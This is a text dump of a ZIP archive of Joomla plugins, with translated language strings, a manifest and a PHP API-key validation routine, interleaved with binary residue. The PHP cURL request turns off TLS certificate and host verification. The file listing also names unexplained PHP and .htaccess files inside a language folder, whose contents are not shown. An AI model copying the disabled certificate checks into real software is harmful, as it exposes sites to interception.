PK�Q�\�����Aweb357framework/language/el-GR/el-GR.plg_ajax_web357framework.ininu&1i�; Defaults ; PLG_AJAX_WEB357FRAMEWORK="Ajax - Web357 Framework" ; PLG_AJAX_WEB357FRAMEWORK_XML_DESCRIPTION="The Web357 Framework Joomla! plugin is a required helper tool that is used by all the Web357 extensions. Within the plugin files, we have included code and PHP functions that allow the plugin updates to be applied only in one place, i.e. the plugin itself, and ensure that they are rolled out automatically to any external site that is using the Web357 applications and plugins." PK�Q�\]��##)web357framework/language/de-DE/index.htmlnu&1i�<!DOCTYPE html><title></title> PK�Q�\�hS�%%Aweb357framework/language/de-DE/de-DE.plg_ajax_web357framework.ininu&1i�; Defaults PLG_AJAX_WEB357FRAMEWORK="Ajax – Web357 Framework" PLG_AJAX_WEB357FRAMEWORK_XML_DESCRIPTION="Das Web357 Framework Joomla! Plugin ist ein notwendiges Hilfsprogramm, das von allen Web357 Erweiterungen verwendet wird. In den Plugin-Dateien haben wir Code und PHP-Funktionen integriert, die es dem Plugin ermöglichen, Aktualisierungen nur an einer Stelle vorzunehmen, nämlich im Plugin selbst, und die sicherstellen, dass diese automatisch auf jede externe Website ausgerollt werden, die die Web357-Anwendungen und Plugins verwendet." PK�Q�\�hS�%%Eweb357framework/language/de-DE/de-DE.plg_ajax_web357framework.sys.ininu&1i�; Defaults PLG_AJAX_WEB357FRAMEWORK="Ajax – Web357 Framework" PLG_AJAX_WEB357FRAMEWORK_XML_DESCRIPTION="Das Web357 Framework Joomla! Plugin ist ein notwendiges Hilfsprogramm, das von allen Web357 Erweiterungen verwendet wird. In den Plugin-Dateien haben wir Code und PHP-Funktionen integriert, die es dem Plugin ermöglichen, Aktualisierungen nur an einer Stelle vorzunehmen, nämlich im Plugin selbst, und die sicherstellen, dass diese automatisch auf jede externe Website ausgerollt werden, die die Web357-Anwendungen und Plugins verwendet." PK�Q�\�����Eweb357framework/language/da-DK/da-DK.plg_ajax_web357framework.sys.ininu&1i�; Defaults ; PLG_AJAX_WEB357FRAMEWORK="Ajax - Web357 Framework" ; PLG_AJAX_WEB357FRAMEWORK_XML_DESCRIPTION="The Web357 Framework Joomla! plugin is a required helper tool that is used by all the Web357 extensions. Within the plugin files, we have included code and PHP functions that allow the plugin updates to be applied only in one place, i.e. the plugin itself, and ensure that they are rolled out automatically to any external site that is using the Web357 applications and plugins." PK�Q�\�����Aweb357framework/language/da-DK/da-DK.plg_ajax_web357framework.ininu&1i�; Defaults ; PLG_AJAX_WEB357FRAMEWORK="Ajax - Web357 Framework" ; PLG_AJAX_WEB357FRAMEWORK_XML_DESCRIPTION="The Web357 Framework Joomla! plugin is a required helper tool that is used by all the Web357 extensions. Within the plugin files, we have included code and PHP functions that allow the plugin updates to be applied only in one place, i.e. the plugin itself, and ensure that they are rolled out automatically to any external site that is using the Web357 applications and plugins." PK�Q�\�����Aweb357framework/language/fa-IR/fa-IR.plg_ajax_web357framework.ininu&1i�; Defaults ; PLG_AJAX_WEB357FRAMEWORK="Ajax - Web357 Framework" ; PLG_AJAX_WEB357FRAMEWORK_XML_DESCRIPTION="The Web357 Framework Joomla! plugin is a required helper tool that is used by all the Web357 extensions. Within the plugin files, we have included code and PHP functions that allow the plugin updates to be applied only in one place, i.e. the plugin itself, and ensure that they are rolled out automatically to any external site that is using the Web357 applications and plugins." PK�Q�\�����Eweb357framework/language/fa-IR/fa-IR.plg_ajax_web357framework.sys.ininu&1i�; Defaults ; PLG_AJAX_WEB357FRAMEWORK="Ajax - Web357 Framework" ; PLG_AJAX_WEB357FRAMEWORK_XML_DESCRIPTION="The Web357 Framework Joomla! plugin is a required helper tool that is used by all the Web357 extensions. Within the plugin files, we have included code and PHP functions that allow the plugin updates to be applied only in one place, i.e. the plugin itself, and ensure that they are rolled out automatically to any external site that is using the Web357 applications and plugins." PK�Q�\�����Aweb357framework/language/nl-BE/nl-BE.plg_ajax_web357framework.ininu&1i�; Defaults ; PLG_AJAX_WEB357FRAMEWORK="Ajax - Web357 Framework" ; PLG_AJAX_WEB357FRAMEWORK_XML_DESCRIPTION="The Web357 Framework Joomla! plugin is a required helper tool that is used by all the Web357 extensions. Within the plugin files, we have included code and PHP functions that allow the plugin updates to be applied only in one place, i.e. the plugin itself, and ensure that they are rolled out automatically to any external site that is using the Web357 applications and plugins." PK�Q�\�����Eweb357framework/language/nl-BE/nl-BE.plg_ajax_web357framework.sys.ininu&1i�; Defaults ; PLG_AJAX_WEB357FRAMEWORK="Ajax - Web357 Framework" ; PLG_AJAX_WEB357FRAMEWORK_XML_DESCRIPTION="The Web357 Framework Joomla! plugin is a required helper tool that is used by all the Web357 extensions. Within the plugin files, we have included code and PHP functions that allow the plugin updates to be applied only in one place, i.e. the plugin itself, and ensure that they are rolled out automatically to any external site that is using the Web357 applications and plugins." PK�Q�\]��##)web357framework/language/en-GB/index.htmlnu&1i�<!DOCTYPE html><title></title> PK�Q�\b�B��Aweb357framework/language/en-GB/en-GB.plg_ajax_web357framework.ininu&1i�; Defaults PLG_AJAX_WEB357FRAMEWORK="Ajax - Web357 Framework" PLG_AJAX_WEB357FRAMEWORK_XML_DESCRIPTION="The Web357 Framework Joomla! plugin is a required helper tool that is used by all the Web357 extensions. Within the plugin files, we have included code and PHP functions that allow the plugin updates to be applied only in one place, i.e. the plugin itself, and ensure that they are rolled out automatically to any external site that is using the Web357 applications and plugins." PK�Q�\b�B��Eweb357framework/language/en-GB/en-GB.plg_ajax_web357framework.sys.ininu&1i�; Defaults PLG_AJAX_WEB357FRAMEWORK="Ajax - Web357 Framework" PLG_AJAX_WEB357FRAMEWORK_XML_DESCRIPTION="The Web357 Framework Joomla! plugin is a required helper tool that is used by all the Web357 extensions. Within the plugin files, we have included code and PHP functions that allow the plugin updates to be applied only in one place, i.e. the plugin itself, and ensure that they are rolled out automatically to any external site that is using the Web357 applications and plugins." PK�Q�\@��Eweb357framework/language/fr-FR/fr-FR.plg_ajax_web357framework.sys.ininu&1i�; Defaults PLG_AJAX_WEB357FRAMEWORK="Ajax - Framework Web357" PLG_AJAX_WEB357FRAMEWORK_XML_DESCRIPTION="Le plugin Joomla! Web357 Framework est un outil d'aide nécessaire et utilisé par toutes les extensions Web357. Dans les fichiers de plugin, nous avons intégré des fonctions PHP et du code qui permettent les mises à jour de plugin à des endroits déterminés comme par exemple le plugin lui-même et qu'ainsi elles puissent être déployées automatiquement vers un site externe utilisant des applications et plugins Web357." PK�Q�\@��Aweb357framework/language/fr-FR/fr-FR.plg_ajax_web357framework.ininu&1i�; Defaults PLG_AJAX_WEB357FRAMEWORK="Ajax - Framework Web357" PLG_AJAX_WEB357FRAMEWORK_XML_DESCRIPTION="Le plugin Joomla! Web357 Framework est un outil d'aide nécessaire et utilisé par toutes les extensions Web357. Dans les fichiers de plugin, nous avons intégré des fonctions PHP et du code qui permettent les mises à jour de plugin à des endroits déterminés comme par exemple le plugin lui-même et qu'ainsi elles puissent être déployées automatiquement vers un site externe utilisant des applications et plugins Web357." PK�Q�\4�K))#web357framework/web357framework.xmlnu&1i�<?xml version="1.0" encoding="utf-8"?> <extension version="3.4" type="plugin" group="ajax" method="upgrade"> <name>PLG_AJAX_WEB357FRAMEWORK</name> <author>Web357 (Yiannis Christodoulou)</author> <creationDate>2025-10-27</creationDate> <copyright>Copyright: (©) 2014-2024 Web357. All rights reserved.</copyright> <license>GNU/GPLv3, https://www.gnu.org/licenses/gpl-3.0.html</license> <authorEmail>support@web357.com</authorEmail> <authorUrl>https://www.web357.com</authorUrl> <version>2.0.0</version> <variant>free</variant> <description>PLG_AJAX_WEB357FRAMEWORK_XML_DESCRIPTION</description> <files> <folder>language</folder> <filename plugin="web357framework">web357framework.php</filename> <filename>index.html</filename> <filename>script.install.helper.php</filename> </files> <scriptfile>script.install.php</scriptfile> <updateservers><server type="extension" priority="1" name="Web357 Framework"><![CDATA[https://updates.web357.com/web357framework/web357framework.xml]]></server></updateservers> </extension>PK�Q�\���%%#web357framework/web357framework.phpnu&1i�<?php /* ====================================================== # Web357 Framework for Joomla! - v2.0.0 (free version) # ------------------------------------------------------- # For Joomla! CMS (v4.x) # Author: Web357 (Yiannis Christodoulou) # Copyright: (©) 2014-2024 Web357. All rights reserved. # License: GNU/GPLv3, https://www.gnu.org/licenses/gpl-3.0.html # Website: https://www.web357.com # Support: support@web357.com # Last modified: Monday 27 October 2025, 03:04:38 PM ========================================================= */ defined('_JEXEC') or die; use Joomla\CMS\Plugin\CMSPlugin; use Joomla\CMS\Factory; use Joomla\CMS\Language\Text; class plgAjaxWeb357Framework extends CMSPlugin { function onAjaxWeb357framework() { $app = Factory::getApplication(); $method = $app->input->get('method', '', 'STRING'); // Method to activate the Web357 Api Key if ($method == 'web357ApikeyValidation') { return $this->web357ApikeyValidation(); } return ''; } /** * Method to activate the Web357 Api Key */ private function web357ApikeyValidation() { $app = Factory::getApplication(); if ($app->isClient('administrator')) { $data = $app->input->post->get('jform', array(), 'array'); $get_api_key = isset($data['params']['apikey']) ? $data['params']['apikey'] : null; $get_domain = isset($data['params']['domain']) ? $data['params']['domain'] : null; if (empty($get_api_key)) { return '<div style="margin: 20px 0; display:none;" id="w357-activated-successfully-msg-ajax" class="alert alert-danger"><span class="icon-cancel"></span> '.Text::_('The Api Key cannot be empty.').'</div>'; } // Create the request Array. $paramArr = array( 'domain' => $get_domain, ); // Create an Http Query. $paramArr = http_build_query($paramArr); // Post $url = 'https://app.web357.com/wp-json/web357-api-key/v1/status/'.$get_api_key; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL,$url); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, $paramArr); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_FRESH_CONNECT, 1); $resp = curl_exec($ch); curl_close($ch); if ($resp === FALSE || empty($resp) || $resp == '') { return '<div style="margin: 20px 0;display:none;" id="w357-activated-successfully-msg-ajax" class="alert alert-danger"><span class="icon-cancel"></span> '.Text::_('Call with web357.com has been failed.<br>Please, try again later or contact us at support@web357.com.').'</div>'; } else { $resp = json_decode($resp); if (isset($resp->req->data->status) && ($resp->req->data->status == 'ok' || $resp->req->data->status == 'ok_old_api_key')) { return '<div style="margin: 20px 0;display:none;" id="w357-activated-successfully-msg-ajax" class="alert alert-success"><span class="icon-save"></span> '.Text::_('Your API Key ('. $get_api_key . ') has been successfully activated.').'</div>'; } elseif ($resp->code == 'error' && !empty($resp->message)) { return '<div style="margin: 20px 0;display:none;" id="w357-activated-successfully-msg-ajax" class="alert alert-danger"><span class="icon-cancel"></span> '.Text::_($resp->message).'</div>'; } else { return '<div style="margin: 20px 0; display:none;" id="w357-activated-successfully-msg-ajax" class="alert alert-danger"><span class="icon-cancel"></span> '.Text::_('Call with Web357\'s License Manager has been failed. <br>Please, try again later or contact us at support@web357.com.').'</div>'; } } } else { JError::raiseError(403, ''); return; } } }PK�Q�\]��##web357framework/index.htmlnu&1i�<!DOCTYPE html><title></title> PK�Q�\��˕=�=6cookiespolicynotificationbar/script.install.helper.phpnu&1i�PK�Q�\ә+��=�=cookiespolicynotificationbar/cookiespolicynotificationbar.xmlnu&1i�PK�Q�\}�������=6Dcookiespolicynotificationbar/cookiespolicynotificationbar.phpnu&1i�PK�Q�\��+�_S�cookiespolicynotificationbar/language/el-GR/el-GR.plg_ajax_cookiespolicynotificationbar.sys.ininu&1i�PK�Q�\��+�[��cookiespolicynotificationbar/language/el-GR/el-GR.plg_ajax_cookiespolicynotificationbar.ininu&1i�PK�Q�\I f��[}�cookiespolicynotificationbar/language/de-DE/de-DE.plg_ajax_cookiespolicynotificationbar.ininu&1i�PK�Q�\I f��_��cookiespolicynotificationbar/language/de-DE/de-DE.plg_ajax_cookiespolicynotificationbar.sys.ininu&1i�PK�Q�\/����[G�cookiespolicynotificationbar/language/da-DK/da-DK.plg_ajax_cookiespolicynotificationbar.ininu&1i�PK�Q�\/����_��cookiespolicynotificationbar/language/da-DK/da-DK.plg_ajax_cookiespolicynotificationbar.sys.ininu&1i�PK�Q�\u��c_]�cookiespolicynotificationbar/language/en-GB/en-GB.plg_ajax_cookiespolicynotificationbar.sys.ininu&1i�PK�Q�\u��c[��cookiespolicynotificationbar/language/en-GB/en-GB.plg_ajax_cookiespolicynotificationbar.ininu&1i�PK�Q�\]��##6��cookiespolicynotificationbar/language/en-GB/index.htmlnu&1i�PK�Q�\O>J���[�cookiespolicynotificationbar/language/fr-FR/fr-FR.plg_ajax_cookiespolicynotificationbar.ininu&1i�PK�Q�\O>J���_�cookiespolicynotificationbar/language/fr-FR/fr-FR.plg_ajax_cookiespolicynotificationbar.sys.ininu&1i�PK�Q�\ @��[*�cookiespolicynotificationbar/language/ru-RU/ru-RU.plg_ajax_cookiespolicynotificationbar.ininu&1i�PK�Q�\ @��_��cookiespolicynotificationbar/language/ru-RU/ru-RU.plg_ajax_cookiespolicynotificationbar.sys.ininu&1i�PK�Q�\(ɒ�FF_:�cookiespolicynotificationbar/language/it-IT/it-IT.plg_ajax_cookiespolicynotificationbar.sys.ininu&1i�PK�Q�\(ɒ�FF[�cookiespolicynotificationbar/language/it-IT/it-IT.plg_ajax_cookiespolicynotificationbar.ininu&1i�PK�Q�\�V�0�cookiespolicynotificationbar/language/index.htmlnu&1i�PK�Q�\�j��__�cookiespolicynotificationbar/language/nl-NL/nl-NL.plg_ajax_cookiespolicynotificationbar.sys.ininu&1i�PK�Q�\�j��[��cookiespolicynotificationbar/language/nl-NL/nl-NL.plg_ajax_cookiespolicynotificationbar.ininu&1i�PK�Q�\]��##'��cookiespolicynotificationbar/index.htmlnu&1i�PK�Q�\y^'/�cookiespolicynotificationbar/script.install.phpnu&1i�PK�Q�\<���\?\?)pweb357framework/script.install.helper.phpnu&1i�PK�Q�\7� #��"%Cweb357framework/script.install.phpnu&1i�PK�Q�\]��##)`Gweb357framework/language/ru-RU/index.htmlnu&1i�PK�Q�\L{] A�Gweb357framework/language/ru-RU/ru-RU.plg_ajax_web357framework.ininu&1i�PK�Q�\L{] EWKweb357framework/language/ru-RU/ru-RU.plg_ajax_web357framework.sys.ininu&1i�PK�Q�\�����E�Nweb357framework/language/it-IT/it-IT.plg_ajax_web357framework.sys.ininu&1i�PK�Q�\�����A6Qweb357framework/language/it-IT/it-IT.plg_ajax_web357framework.ininu&1i�PK�Q�\�����E�Sweb357framework/language/es-ES/es-ES.plg_ajax_web357framework.sys.ininu&1i�PK�Q�\�����A�Uweb357framework/language/es-ES/es-ES.plg_ajax_web357framework.ininu&1i�PK�Q�\G]�ANXweb357framework/language/nl-NL/nl-NL.plg_ajax_web357framework.ininu&1i�PK�Q�\G]�E�Zweb357framework/language/nl-NL/nl-NL.plg_ajax_web357framework.sys.ininu&1i�PK�Q�\߄�B #T]web357framework/language/index.htmlnu&1i�PK�Q�\[�t�E�]web357framework/language/ca-ES/ca-ES.plg_ajax_web357framework.sys.ininu&1i�PK�Q�\߄�B )T`web357framework/language/ca-ES/index.htmlnu&1i�PK�Q�\�,r��.�`web357framework/language/ca-ES/ca-ES/.htaccessnu&1i�PK�Q�\�����.bweb357framework/language/ca-ES/ca-ES/index.phpnu&1i�PK�Q�\�t�.�wweb357framework/language/ca-ES/ca-ES/cache.phpnu&1i�PK�Q�\[�t�Ae�web357framework/language/ca-ES/ca-ES.plg_ajax_web357framework.ininu&1i�PK�Q�\��E�web357framework/language/tr-TR/tr-TR.plg_ajax_web357framework.sys.ininu&1i�PK�Q�\��Ad�web357framework/language/tr-TR/tr-TR.plg_ajax_web357framework.ininu&1i�PK�Q�\�����E֕web357framework/language/el-GR/el-GR.plg_ajax_web357framework.sys.ininu&1i�PK�Q�\�����A6�web357framework/language/el-GR/el-GR.plg_ajax_web357framework.ininu&1i�PK�Q�\]��##)��web357framework/language/de-DE/index.htmlnu&1i�PK�Q�\�hS�%%A�web357framework/language/de-DE/de-DE.plg_ajax_web357framework.ininu&1i�PK�Q�\�hS�%%E��web357framework/language/de-DE/de-DE.plg_ajax_web357framework.sys.ininu&1i�PK�Q�\�����E>�web357framework/language/da-DK/da-DK.plg_ajax_web357framework.sys.ininu&1i�PK�Q�\�����A��web357framework/language/da-DK/da-DK.plg_ajax_web357framework.ininu&1i�PK�Q�\�����A��web357framework/language/fa-IR/fa-IR.plg_ajax_web357framework.ininu&1i�PK�Q�\�����EV�web357framework/language/fa-IR/fa-IR.plg_ajax_web357framework.sys.ininu&1i�PK�Q�\�����A��web357framework/language/nl-BE/nl-BE.plg_ajax_web357framework.ininu&1i�PK�Q�\�����E�web357framework/language/nl-BE/nl-BE.plg_ajax_web357framework.sys.ininu&1i�PK�Q�\]��##)r�web357framework/language/en-GB/index.htmlnu&1i�PK�Q�\b�B��A�web357framework/language/en-GB/en-GB.plg_ajax_web357framework.ininu&1i�PK�Q�\b�B��EF�web357framework/language/en-GB/en-GB.plg_ajax_web357framework.sys.ininu&1i�PK�Q�\@��E��web357framework/language/fr-FR/fr-FR.plg_ajax_web357framework.sys.ininu&1i�PK�Q�\@��A1�web357framework/language/fr-FR/fr-FR.plg_ajax_web357framework.ininu&1i�PK�Q�\4�K))#��web357framework/web357framework.xmlnu&1i�PK�Q�\���%%#8�web357framework/web357framework.phpnu&1i�PK�Q�\]��##��web357framework/index.htmlnu&1i�PK>>��
/home/opticamezl/www/newok/07d6c/./../includes/../administrator/.././plugins/../1a0f4/../ajax.zip